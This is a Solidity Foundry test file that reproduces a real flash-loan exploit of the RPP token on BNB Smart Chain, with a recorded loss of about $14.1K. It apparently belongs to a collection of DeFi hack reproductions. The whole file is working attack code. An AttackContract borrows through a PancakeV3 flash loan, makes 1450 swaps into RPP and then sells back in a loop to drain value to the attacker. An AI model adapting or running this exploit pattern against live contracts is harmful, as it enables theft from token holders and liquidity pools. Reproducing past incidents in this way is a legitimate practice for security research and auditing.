src/test/2024-11/RPP_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ $14.1K
8// Attacker : https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112
9// Attack Contract : https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45
10// Vulnerable Contract : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751
11// Attack Tx : https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1853984974309142768
19// Hacking God : N/A
20 
21address constant PANCAKE_V3_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
22address constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
23 
24address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
26address constant RPP_TOKEN = 0x7d1a69302D2A94620d5185f2d80e065454a35751;
27 
28contract RPP_exp is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 43_752_882 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = BSC_USD;
35 
36        vm.label(PANCAKE_V3_POOL, "PancakeV3Pool");
37        vm.label(PANCAKE_V2_ROUTER, "PancakeSwap: Router v2");
38 
39        vm.label(WBNB_ADDR, "WBNB");
40        vm.label(BSC_USD, "BUSD");
41        vm.label(RPP_TOKEN, "RPP");
42    }
43 
44    function testExploit() public balanceLog {
45        AttackContract attackContract = new AttackContract();
46        attackContract.start();
47    }
48 
49    receive() external payable {}
50}
51 
52contract AttackContract {
53    address attacker;
54    uint256 borrowedAmount = 1_200_000_000_000_000_000_000_000;
55 
56    constructor() {
57        attacker = msg.sender;
58    }
59 
60    function start() public {
61        TokenHelper.approveToken(BSC_USD, PANCAKE_V2_ROUTER, type(uint256).max);
62        TokenHelper.approveToken(RPP_TOKEN, PANCAKE_V2_ROUTER, type(uint256).max);
63 
64        IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowedAmount, 0, "");
65 
66        TokenHelper.transferToken(BSC_USD, attacker, TokenHelper.getTokenBalance(BSC_USD, address(this)));
67    }
68 
69    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
70        uint256 times = 1450; // 1450
71        for (uint256 i = 0; i < times; i++) {
72            address[] memory path = new address[](2);
73            path[0] = BSC_USD;
74            path[1] = RPP_TOKEN;
75            IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapTokensForExactTokens(
76                99_999_999_999_999_999_999_999,
77                1_200_000_000_000_000_000_000_000,
78                path,
79                address(this),
80                block.timestamp + 100_000_000
81            );
82        }
83 
84        while (true) {
85            uint256 rppBalance = TokenHelper.getTokenBalance(RPP_TOKEN, address(this));
86            address[] memory path = new address[](2);
87            path[0] = RPP_TOKEN;
88            path[1] = BSC_USD;
89            IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
90                99_999_999_999_999_999_999_999, 0, path, address(this), block.timestamp + 100_000_000
91            );
92            if (rppBalance <= 134_160_000_000_000_000_000_000_214) break;
93        }
94 
95        TokenHelper.transferToken(BSC_USD, PANCAKE_V3_POOL, borrowedAmount + fee0);
96    }
97 
98    receive() external payable {}
99}